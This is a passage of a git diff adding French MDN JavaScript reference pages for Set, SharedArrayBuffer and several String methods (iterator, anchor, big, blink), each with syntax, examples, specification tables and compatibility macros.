Note : L'existence d'un élément avec la valeur testée est vérifiée avec l'algorithme d'égalité des valeurs nulles (sameValueZero).

+
+ +

Exemples

+ +
var monSet = new Set();
+monSet.add("toto");
+
+monSet.has("toto");  // renvoie true
+monSet.has("truc");  // renvoie false
+
+var set1 = new Set();
+var obj1 = {'cle1': 1};
+set1.add(obj1);
+
+set1.has(obj1);        // renvoie true
+set1.has({'cle1': 1}); // renvoie false car ce sont deux objets distincts
+set1.add({'cle1': 1}); // set1 contient désormais 2 éléments
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-set.prototype.has', 'Set.prototype.has')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-set.prototype.has', 'Set.prototype.has')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Set.has")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Set")}}
    • +
  • {{jsxref("Set.prototype.add()")}}
    • +
  • {{jsxref("Set.prototype.delete()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/set/index.html b/files/fr/web/javascript/reference/global_objects/set/index.html new file mode 100644 index 0000000000..9b44936cbc --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/set/index.html @@ -0,0 +1,249 @@ +--- +title: Set +slug: Web/JavaScript/Reference/Objets_globaux/Set +tags: + - ECMAScript 2015 + - JavaScript + - Reference + - set +translation_of: Web/JavaScript/Reference/Global_Objects/Set +--- +
{{JSRef}}
+ +

L'objet Set (Ensemble en français) permet de stocker des valeurs uniques, de n'importe quel type, que ce soit des valeurs d'un {{Glossary("Primitive", "type primitif")}} ou des objets.

+ +
{{EmbedInteractiveExample("pages/js/set-prototype-constructor.html")}}
+ + + +

Syntaxe

+ +
 new Set([itérable]);
+ +

Paramètres

+ +
+
itérable
+
Paramètre optionnel. Si un objet itérable est donné comme argument, l'ensemble de ses éléments sera ajouté au nouvel objet Set. Si {{jsxref("null")}} est fourni comme argument ou qu'aucun argument n'est fourni, il sera traité comme {{jsxref("undefined")}}.
+
+ +

Valeur de retour

+ +

Un nouvel objet Set.

+ +

Description

+ +

Les objets Set sont des ensembles de valeurs. Il est possible d'itérer sur les éléments contenus dans l'objet Set dans leur ordre d'insertion. Une valeur donnée ne peut apparaître qu'une seule fois par Set.

+ +

Égalité des valeurs

+ +

Chaque valeur d'un Set doit être unique, il faut donc tester l'égalité des valeurs contenues. Cette égalité n'est pas la même que celle de l'opérateur ===. Notamment, pour les objets Set, +0 (qui, selon l'égalité stricte, est égal à -0) et -0 sont des valeurs différentes. Cela a toutefois été changé avec la dernière version d'ECMAScript 2015 (ES6). Voir le tableau de compatibilité ci-après quant à la prise en charge de l'égalité des clés pour 0 et -0.

+ +

{{jsxref("NaN")}} and {{jsxref("undefined")}} peuvent être enregistrés dans un objet Set. NaN est considéré comme NaN (bien que NaN !== NaN).

+ +

Propriétés

+ +
+
Set.length
+
La valeur de la propriété length est 0. +
Note : Pour compter le nombre d'éléments d'un objet Set, on utilisera {{jsxref("Set.prototype.size")}}.
+
+
{{jsxref("Set.@@species", "get Set[@@species]")}}
+
Le constructeur utilisé pour créer des objets dérivés.
+
{{jsxref("Set.prototype")}}
+
Représente le prototype du constructeur Set. Cela permet d'ajouter des propriétés à tous les objets Set.
+
+ +

Instances de Set

+ +

Toutes les instances de Set héritent de {{jsxref("Set.prototype")}}.

+ +

Propriétés

+ +

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Set/prototype','Propriétés')}}

+ +

Méthodes

+ +

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Set/prototype','Méthodes')}}

+ +

Exemples

+ +

Utiliser l'objet Set

+ +
var monSet = new Set();
+
+monSet.add(1);         // { 1 }
+monSet.add(5);         // { 1, 5 }
+monSet.add("du texte");// { 1, 5, "du texte" }
+
+monSet.has(1); // true
+monSet.has(3); // false, 3 n'a pas été ajouté à l'ensemble
+monSet.has(5);              // true
+monSet.has(Math.sqrt(25));  // true
+monSet.has("Du Texte".toLowerCase()); // true
+
+monSet.size; // 3
+
+monSet.delete(5); // retire 5 du set
+monSet.has(5);    // false, 5 a été retiré de l'ensemble
+
+monSet.size; // 2, on a retiré une valeur de l'ensemble
+console.log(monSet); // Set [ 1, "du texte" ]
+
+ +

Itérer sur des ensembles (Set)

+ +
// On itère sur les différents éléments de l'ensemble
+// ici on affiche : 1, "du texte"
+for (let item of monSet) console.log(item);
+
+// ici on affiche les clés de l'ensemble : 1, "du texte"
+for (let item of monSet.keys()) console.log(item);
+
+// ici on affiche les valeurs de l'ensemble : 1, "du texte"
+for (let item of monSet.values()) console.log(item);
+
+// ici on affiche les clés de l'ensemble : 1, "du texte"
+//(ici, les clés et les valeurs sont les mêmes)
+for (let [clé, valeur] of monSet.entries()) console.log(clé);
+
+// Une méthode de conversion avec Array.from
+var monTableau = Array.from(monSet);    // [1, "du texte"]
+
+// Cela fonctionnera également dans un document HTML
+monSet.add(document.body);
+monSet.has(document.querySelector("body")); // true
+
+// convertir un tableau (Array) en ensemble (Set) et vice versa
+monSet2 = new Set([1,2,3,4]);
+monSet2.size; // 4
+[...monSet2]; // [1,2,3,4]
+
+// L'intersection peut être calculée avec
+var intersection = new Set([...set1].filter(x => set2.has(x)));
+
+// La différence pourra être simulée avec
+var différence = new Set([...set1].filter(x => !set2.has(x)));
+
+// On peut itérer sur les entrées d'un ensemble avec forEach
+mySet.forEach(function(value) {
+  console.log(value);
+});
+
+// 1
+// 2
+// 3
+// 4
+ +

Implémenter des opérations ensemblistes

+ +
function isSuperset(set, subset) {
+  for (var elem of subset) {
+    if (!set.has(elem)) {
+      return false;
+    }
+  }
+  return true;
+}
+
+function union(setA, setB) {
+  var union = new Set(setA);
+  for (var elem of setB) {
+    union.add(elem);
+  }
+  return union;
+}
+
+function intersection(setA, setB) {
+  var intersection = new Set();
+  for (var elem of setB) {
+    if (setA.has(elem)) {
+      intersection.add(elem);
+    }
+  }
+  return intersection;
+}
+
+function difference (setA, setB) {
+  var difference = new Set(setA);
+  for (var elem of setB) {
+    difference.delete(elem);
+  }
+  return difference;
+}
+
+// Exemples
+var setA = new Set([1,2,3,4]),
+    setB = new Set([2,3]),
+    setC = new Set([3,4,5,6]);
+
+isSuperset(setA, setB);   // => true
+union(setA, setC);        // => Set [1, 2, 3, 4, 5, 6]
+intersection(setA, setC); // => Set [3, 4]
+difference(setA, setC);   // => Set [1, 2]
+
+ +

Les relations avec les objets Array

+ +
var monTableau = ["valeur1", "valeur2", "valeur3"];
+
+// On peut utiliser le constructeur Set pour transformer un Array en Set
+var monSet = new Set(monTableau);
+
+monSet.has("valeur1"); // renvoie true
+
+// Et utiliser l'opérateur de décomposition pour transformer un Set en Array.
+console.log([...monSet]); // affichera la même chose que monTableau
+ +

Les relations avec les objets String

+ +
var maChaine = "CouCou";
+
+var monEnsemble = new Set(maChaine);
+// Set {"C","o","u" }
+monEnsemble.size; // 3
+
+ +

Dédoublonner un tableau

+ +
const nombres = [2,3,4,4,2,2,2,4,4,5,5,6,6,7,5,32,3,4,5];
+console.log([...new Set(nombres)]);
+// affichera [2, 3, 4, 5, 6, 7, 32]
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-set-objects', 'Set')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-set-objects', 'Set')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Set")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Map")}}
    • +
  • {{jsxref("WeakMap")}}
    • +
  • {{jsxref("WeakSet")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/set/size/index.html b/files/fr/web/javascript/reference/global_objects/set/size/index.html new file mode 100644 index 0000000000..83a5b8c9b7 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/set/size/index.html @@ -0,0 +1,67 @@ +--- +title: Set.prototype.size +slug: Web/JavaScript/Reference/Objets_globaux/Set/size +tags: + - ECMAScript 2015 + - JavaScript + - Propriété + - Prototype + - Reference + - set +translation_of: Web/JavaScript/Reference/Global_Objects/Set/size +--- +
{{JSRef}}
+ +

L'accesseur size est une propriété qui renvoie le nombre d'éléments contenus dans un objet {{jsxref("Set")}}. Un objet Set correspondant à un ensemble, chaque élément qu'il contient y est unique.

+ +
{{EmbedInteractiveExample("pages/js/set-prototype-size.html")}}
+ + + +

Description

+ +

La valeur de size est un entier représentant le nombre d'éléments contenus dans l'ensemble. Le mutateur associée pour size vaut {{jsxref("undefined")}}. Cette propriété ne peut pas être changée directement.

+ +

Exemples

+ +
var monSet = new Set();
+monSet.add(1);
+monSet.add(5);
+monSet.add("du texte")
+
+monSet.size; // 3
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-get-set.prototype.size', 'Set.prototype.size')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-set.prototype.size', 'Set.prototype.size')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Set.size")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Set")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/set/values/index.html b/files/fr/web/javascript/reference/global_objects/set/values/index.html new file mode 100644 index 0000000000..2e1ab4b178 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/set/values/index.html @@ -0,0 +1,78 @@ +--- +title: Set.prototype.values() +slug: Web/JavaScript/Reference/Objets_globaux/Set/values +tags: + - ECMAScript 2015 + - Iterator + - JavaScript + - Méthode + - Prototype + - Reference + - set +translation_of: Web/JavaScript/Reference/Global_Objects/Set/values +--- +
{{JSRef}}
+ +

La méthode values() renvoie un nouvel objet {{jsxref("Iterator")}} qui contient les valeurs de chaque élément de l'objet Set, dans leur ordre d'insertion.

+ +

La méthode keys() est un alias pour cette méthode (afin de conserver une certaine similarité avec les objets {{jsxref("Map")}}) et se comportera exactement de la même façon en renvoyant les valeurs des éléments du Set.

+ +
{{EmbedInteractiveExample("pages/js/set-prototype-values.html")}}
+ + + +

Syntaxe

+ +
monSet.values();
+
+ +

Valeur de retour

+ +

Un nouvel objet Iterator qui contient les valeurs de chaque élément de l'ensemble Set, dans leur ordre d'insertion.

+ +

Exemples

+ +
var monSet = new Set();
+monSet.add("toto");
+monSet.add("truc");
+monSet.add("machin");
+
+var setIter = monSet.values();
+
+console.log(setIter.next().value); // "toto"
+console.log(setIter.next().value); // "truc"
+console.log(setIter.next().value); // "machin"
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-set.prototype.values', 'Set.prototype.values')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-set.prototype.values', 'Set.prototype.values')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Set.values")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Set.prototype.entries()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/sharedarraybuffer/bytelength/index.html b/files/fr/web/javascript/reference/global_objects/sharedarraybuffer/bytelength/index.html new file mode 100644 index 0000000000..d05477184d --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/sharedarraybuffer/bytelength/index.html @@ -0,0 +1,62 @@ +--- +title: SharedArrayBuffer.prototype.byteLength +slug: Web/JavaScript/Reference/Objets_globaux/SharedArrayBuffer/byteLength +tags: + - JavaScript + - Mémoire partagée + - Propriété + - Reference + - SharedArrayBuffer + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/byteLength +--- +
{{JSRef}}
+ +

La propriété d'accesseur byteLength représente la longueur d'un {{jsxref("SharedArrayBuffer")}} exprimée en octets.

+ +
{{EmbedInteractiveExample("pages/js/sharedarraybuffer-bytelength.html")}}
+ + + +

Syntaxe

+ +
sab.byteLength
+ +

Description

+ +

La propriété byteLength est une propriété d'accesseur dont le mutateur associé vaut undefined. Autrement dit, cette propriété est en lecture seule. La valeur est établie lorsque le tableau partagé est construit et elle ne peut être modifiée par la suite.

+ +

Exemples

+ +
var sab = new SharedArrayBuffer(1024);
+sab.byteLength; // 1024
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ESDraft', '#sec-get-sharedarraybuffer.prototype.bytelength', 'SharedArrayBuffer.prototype.byteLength')}}{{Spec2('ESDraft')}}Définition initiale avec ES2017.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.SharedArrayBuffer.byteLength")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("SharedArrayBuffer")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/sharedarraybuffer/index.html b/files/fr/web/javascript/reference/global_objects/sharedarraybuffer/index.html new file mode 100644 index 0000000000..b5c3a36e27 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/sharedarraybuffer/index.html @@ -0,0 +1,135 @@ +--- +title: SharedArrayBuffer +slug: Web/JavaScript/Reference/Objets_globaux/SharedArrayBuffer +tags: + - Constructeur + - JavaScript + - Mémoire partagée + - Reference + - SharedArrayBuffer + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer +--- +
{{JSRef}}
+ +

L'objet SharedArrayBuffer est utilisé afin de représenter un tampon de données binaires brutes générique de longueur fixe. Il est semblable à l'objet {{jsxref("ArrayBuffer")}} mais peut ici être utilisé pour créer différentes vues sur une même mémoire partagée. À la différence d'un ArrayBuffer, un SharedArrayBuffer ne peut pas être détaché.

+ +
+

Note : L'objet SharedArrayBuffer a été désactivé le 5 janvier 2018 par défaut pour l'ensemble des principaux navigateurs afin de réduire les failles Meltdown et Spectre. Chrome a réactivé cet objet avec la version 67 pour les plateformes sur lesquelles des fonctionnalités sont présentes pour protéger des vulnérabilités telles que Spectre (« site-isolation feature »)

+
+ +
{{EmbedInteractiveExample("pages/js/sharedarraybuffer-constructor.html")}}
+ + + +

Syntaxe

+ + +
new SharedArrayBuffer([length])
+
+ +

Paramètres

+ +
+
longueur
+
La taille, exprimée en octets, du tampon (buffer) de données qu'on souhaite créer.
+
+ +

Valeur de retour

+ +

Un nouvel objet SharedArrayBuffer de la taille donnée, dont les éléments sont initialisés à 0.

+ +

Description

+ +

Allouer et partager la mémoire

+ +

Pour partager une zone mémoire entre plusieurs objets {{jsxref("SharedArrayBuffer")}} d'un agent à un autre (ici un agent correspond au programme principal de la page web ou à l'un de ses web workers), on utilise postMessage et le clonage structuré.

+ +

L'algorithme de clonage structuré permet d'envoyer des objets SharedArrayBuffers et TypedArrays vers SharedArrayBuffers. Dans les deux cas, l'objet SharedArrayBuffer est transmis au récepteur, ce qui crée un nouvel objet SharedArrayBuffer, privé, au sein de l'agent qui reçoit (comme avec  {{jsxref("ArrayBuffer")}}). Cependant, le bloc de mémoire référencé par les deux objets SharedArrayBuffer est bien le même bloc. Aussi, si un agent interagit avec cette zone, l'autre agent pourra voir les modifications.

+ +
var sab = new SharedArrayBuffer(1024);
+worker.postMessage(sab);
+
+ +

Mettre à jour et synchroniser la mémoire partagée avec les opérations atomiques

+ +

La mémoire partagée peut être créée et mise à jour de façon simultanée entre les workers et le thread d'exécution principal. Selon le système (le processeur, le système d'exploitation, le navigateur), cela peut prendre du temps avant que le changement soit propagé sur l'ensemble des contextes. Pour que la synchronisation s'effectue, on doit utiliser les opérations {{jsxref("Atomics", "atomiques", "", 1)}}.

+ +

Les API qui utilisent des objets SharedArrayBuffer

+ +
    +
  • {{domxref("WebGLRenderingContext.bufferData()")}}
    • +
  • {{domxref("WebGLRenderingContext.bufferSubData()")}}
    • +
  • {{domxref("WebGL2RenderingContext.getBufferSubData()")}}
    • +
+ +

Obligation d'utiliser l'opérateur new

+ +

Les constructeurs SharedArrayBuffer doivent être utilisés avec l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Si on appelle un constructeur SharedArrayBuffer comme une fonction, sans new, cela lèvera une exception {{jsxref("TypeError")}}.

+ +
var sab = SharedArrayBuffer(1024);
+// TypeError: appeler le constructeur natif SharedArrayBuffer sans
+// new est interdit
+ +
var sab = new SharedArrayBuffer(1024);
+ +

Propriétés

+ +
+
SharedArrayBuffer.length
+
La propriété de longueur pour le constructeur SharedArrayBuffer dont la valeur est 1.
+
{{jsxref("SharedArrayBuffer.prototype")}}
+
Le prototype permet d'ajouter des propriétés à l'ensemble des objets SharedArrayBuffer.
+
+ +

Le prototype de SharedArrayBuffer

+ +

Toutes les instances de SharedArrayBuffer héritent de {{jsxref("SharedArrayBuffer.prototype")}}.

+ +

Propriétés

+ +

{{page('fr/Web/JavaScript/Reference/Objets_globaux/SharedArrayBuffer/prototype','Propriétés')}}

+ +

Méthodes

+ +

{{page('fr/Web/JavaScript/Reference/Objets_globaux/SharedArrayBuffer/prototype','Méthodes')}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-sharedarraybuffer-objects', 'SharedArrayBuffer')}}{{Spec2('ESDraft')}}
{{SpecName('ES8', '#sec-sharedarraybuffer-objects', 'SharedArrayBuffer')}}{{Spec2('ES8')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.SharedArrayBuffer")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/sharedarraybuffer/slice/index.html b/files/fr/web/javascript/reference/global_objects/sharedarraybuffer/slice/index.html new file mode 100644 index 0000000000..3bf6abe8af --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/sharedarraybuffer/slice/index.html @@ -0,0 +1,92 @@ +--- +title: SharedArrayBuffer.prototype.slice() +slug: Web/JavaScript/Reference/Objets_globaux/SharedArrayBuffer/slice +tags: + - JavaScript + - Mémoire partagée + - Méthode + - Prototype + - Reference + - SharedArrayBuffer + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/slice +--- +
{{JSRef}}
+ +

La méthode SharedArrayBuffer.prototype.slice() renvoie un nouvel objet {{jsxref("SharedArrayBuffer")}} dont le contenu est une copie des octets de l'objet SharedArrayBuffer courant entre un indice de début (inclus) et un indice de fin (exclus) (autrement dit, on copie une « tranche » du tampon courant). Si l'indice de début ou de fin est négatif, la position sera comptée à partir de la fin du tableau plutôt qu'à partir du début. L'algorithme appliqué est le même que {{jsxref("Array.prototype.slice()")}}.

+ +
{{EmbedInteractiveExample("pages/js/sharedarraybuffer-slice.html")}}
+ + + +

Syntaxe

+ +
sab.slice()
+sab.slice(début)
+sab.slice(début, fin)
+ +

Paramètres

+ +
+
début {{optional_inline}}
+
+

L'indice auquel commencer l'extraction (le début du tableau se situe à l'indice 0).

+ +

Si la valeur est négative, début indique le décalage à partir de la fin du tableau. Ainsi slice(-2) permettra d'extraire les deux derniers éléments du tableau.

+ +

Si début est absent, slice commencera l'extraction à partir de l'indice 0.

+
+
fin {{optional_inline}}
+
+

L'indice auquel finir l'extraction. Attention, la valeur du tableau pour cet indice n'est pas incluse dans l'extraction.

+ +

Ainsi, slice(1,4) permettra d'extraire entre le deuxième et le quatrième élément (c'est-à-dire les trois éléments dont les indices sont respectivement 1, 2 et 3).

+ +

Si fin est un indice négatif, il indique le décalage à partir de la fin du tableau. Autrement dit slice(2,-1) permettra d'extraire les éléments du tampon à partir du troisième élément et jusqu'à l'avant-avant-dernier élément.

+ +

Si fin est absent, slice réalisera l'extraction jusqu'à la fin de la séquence (sab.byteLength).

+
+
+ +

Valeur de retour

+ +

Un nouvel objet {{jsxref("SharedArrayBuffer")}} qui contient les éléments extraits.

+ +

Exemples

+ +
var sab = new SharedArrayBuffer(1024);
+sab.slice();    // SharedArrayBuffer { byteLength: 1024 }
+sab.slice(2);   // SharedArrayBuffer { byteLength: 1022 }
+sab.slice(-2);  // SharedArrayBuffer { byteLength: 2 }
+sab.slice(0,1); // SharedArrayBuffer { byteLength: 1 }
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-sharedarraybuffer.prototype.slice', 'SharedArrayBuffer.prototype.slice')}}{{Spec2('ESDraft')}}Définition initiale avec ES2017.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.SharedArrayBuffer.slice")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("SharedArrayBuffer")}}
    • +
  • {{jsxref("Array.prototype.slice()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/@@iterator/index.html b/files/fr/web/javascript/reference/global_objects/string/@@iterator/index.html new file mode 100644 index 0000000000..ada824203d --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/@@iterator/index.html @@ -0,0 +1,89 @@ +--- +title: 'String.prototype[@@iterator]()' +slug: Web/JavaScript/Reference/Objets_globaux/String/@@iterator +tags: + - ECMAScript 2015 + - Iterator + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/@@iterator +--- +
{{JSRef}}
+ +

La méthode [@@iterator]() renvoie un nouvel objet Iterator qui itère sur les points de code (codets) d'une chaîne de caractères, en renvoyant chaque point de code sous forme d'une chaîne de caractères.

+ +
{{EmbedInteractiveExample("pages/js/string-iterator.html")}}
+ + + +

Syntaxe

+ +
chaîneDeCaractères[Symbol.iterator]
+ +

Valeur de retour

+ +

Un nouvel objet Iterator.

+ +

Exemples

+ +

Utiliser [@@iterator]()

+ +
var chaîne = "A\uD835\uDC68";
+
+var chaîneIter = chaîne[Symbol.iterator]();
+
+console.log(chaîneIter.next().value); // "A"
+console.log(chaîneIter.next().value); // "\uD835\uDC68"
+
+ +

Utiliser [@@iterator]() avec une boucle for..of

+ +
var chaine = "A\uD835\uDC68B\uD835\uDC69C\uD835\uDC6A";
+
+for (var c of chaine) {
+  console.log(c);
+}
+// "A"
+// "\uD835\uDC68"
+// "B"
+// "\uD835\uDC69"
+// "C"
+// "\uD835\uDC6A"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-string.prototype-@@iterator', 'String.prototype[@@iterator]()')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-string.prototype-@@iterator', 'String.prototype[@@iterator]()')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.@@iterator")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/string/anchor/index.html b/files/fr/web/javascript/reference/global_objects/string/anchor/index.html new file mode 100644 index 0000000000..b5f3fb1ea1 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/anchor/index.html @@ -0,0 +1,86 @@ +--- +title: String.prototype.anchor() +slug: Web/JavaScript/Reference/Objets_globaux/String/anchor +tags: + - JavaScript + - Méthode + - Prototype + - Reference + - String + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/String/anchor +--- +
{{JSRef}}
+ +

La méthode anchor() permet de créer une ancre HTML {{HTMLElement("a")}} qui est utilisé comme cible hypertexte.

+ +

Syntaxe

+ +
str.anchor(name)
+ +

Paramètres

+ +
+
name
+
Une chaîne de caractères représentant l'attribut name de la balise à créér.
+
+ +

Valeur de retour

+ +

Une chaîne de caractères qui représente un élément HTML {{HTMLElement("a")}}.

+ +

Description

+ +

On utilise la méthode anchor() pour créer et afficher des ancres dans un document HTML à l'aide de JavaScript.

+ +

Ici la chaîne représente le texte que verra l'utilisateur. Le paramètre name représente l'attribut name de l'élément {{HTMLElement("a")}}.

+ +

Les ancres créées avec la méthode anchor deviennent des éléments accessibles à travers le tableau {{domxref("document.anchors")}}.

+ +

Exemples

+ +
var maChaîne = "Table des matières";
+
+document.body.innerHTML = maChaîne.anchor("ancre_contenu");
+ +

produira le code HTML suivant :

+ +
<a name="ancre_contenu">Table des matières</a>
+ +

Prothèse d'émulation (polyfill)

+ +
if (!String.prototype.anchor){
+  String.prototype.anchor = function(x){
+    return '<a name="' + x + '">' + this + '</a>'
+  };
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-string.prototype.anchor', 'String.prototype.anchor')}}{{Spec2('ES6')}}Définition initiale. Implémentée avec JavaScript 1.0. Défini dans l'annexe (normative) B sur les fonctionnalités additionnelles des navigateurs web.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.anchor")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.link()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/big/index.html b/files/fr/web/javascript/reference/global_objects/string/big/index.html new file mode 100644 index 0000000000..f661ae9149 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/big/index.html @@ -0,0 +1,81 @@ +--- +title: String.prototype.big() +slug: Web/JavaScript/Reference/Objets_globaux/String/big +tags: + - Dépréciée + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/big +--- +
{{JSRef}}{{deprecated_header}}
+ +

La méthode big() crée un élément HTML {{HTMLElement("big")}} qui affichera la chaine de caractères avec une taille de police importante.

+ +
+

Note d'utilisation : L'élément <big> a été retiré de HTML5 et ne doit pas être utilisé. À la place, les développeurs web doivent utiliser les propriétés CSS.

+
+ +

Syntaxe

+ +
str.big()
+ +

Valeur de retour

+ +

Une chaîne de caractères qui représente un élément HTML {{HTMLElement("big")}}.

+ +

Description

+ +

La méthode big() place la chaine de caractères dans une balise <big> :
+ "<big>str</big>"

+ +

Exemples

+ +

L'exemple suivant montre les méthodes de String pour changer la taille d'une chaine de caractères :

+ +
var chaîneMonde = "Coucou monde";
+
+console.log( chaîneMonde.small()     ); // <small>Coucou monde</small>
+console.log( chaîneMonde.big()       ); // <big>Coucou monde</big>
+console.log( chaîneMonde.fontsize(7) ); // <fontsize=7>Coucou monde</fontsize>
+ +

Avec l'objet {{domxref("HTMLElement.style", "element.style")}}, il est possible d'accéder à l'attribut style de l'élément et de le manipuler. Par exemple :

+ +
document.getElementById('idÉlément').style.fontSize = '2em'
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-string.prototype.big', 'String.prototype.big')}}{{Spec2('ES6')}}Définition initiale. Implémentée dans JavaScript 1.0. Définie dans l'annexe normative pour les fonctionnalités supplémentaires des navigateurs web.
{{SpecName('ESDraft', '#sec-string.prototype.big', 'String.prototype.big')}}{{Spec2('ESDraft')}}Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript supplémentaires des navigateurs web.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.big")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.fontsize()")}}
    • +
  • {{jsxref("String.prototype.small()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/blink/index.html b/files/fr/web/javascript/reference/global_objects/string/blink/index.html new file mode 100644 index 0000000000..086a52c93b --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/blink/index.html @@ -0,0 +1,85 @@ +--- +title: String.prototype.blink() +slug: Web/JavaScript/Reference/Objets_globaux/String/blink +tags: + - Deprecated + - HTML wrapper methods + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/blink +--- +
{{JSRef}}{{deprecated_header}}
+ +

La méthode blink() crée un élément HTML {{HTMLElement("blink")}} qui affiche la chaine de caractères en clignotant.

+ +
Avertissement : Les textes clignotants sont fortement déconseillés par de nombreux standards d'accessibilité. L'élément <blink> est lui-même non standard et obsolète !
+ +

Syntaxe

+ +
str.blink()
+ +

Valeur de retour

+ +

Une chaine de caractères représentant un élément HTML {{HTMLElement("blink")}}.

+ +

Description

+ +

La méthode blink() place la chaine de caractères dans une balise <blink> :
+ "<blink>str</blink>"

+ +

Exemples

+ +

L'exemple suivant utilise des méthodes de String pour changer l'affichage d'une chaine de caractères :

+ +
var chaîneMonde = "Coucou monde";
+
+console.log(chaîneMonde.blink());
+console.log(chaîneMonde.bold());
+console.log(chaîneMonde.italics());
+console.log(chaîneMonde.strike());
+ +

Cet exemple produira le code HTML suivant :

+ +
<blink>Coucou monde</blink>
+<b>Coucou monde</b>
+<i>Coucou monde</i>
+<strike>Coucou monde</strike>
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-string.prototype.blink', 'String.prototype.blink')}}{{Spec2('ES6')}}Définition initiale. Implémentée avec JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités additionnelles des navigateurs web.
{{SpecName('ESDraft', '#sec-string.prototype.blink', 'String.prototype.blink')}}{{Spec2('ESDraft')}}Définie dans l'annexe B (normative) pour les fonctionnalités additionnelles des navigateurs web.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.blink")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.bold()")}}
    • +
  • {{jsxref("String.prototype.italics()")}}
    • +
  • {{jsxref("String.prototype.strike()")}}
    • +
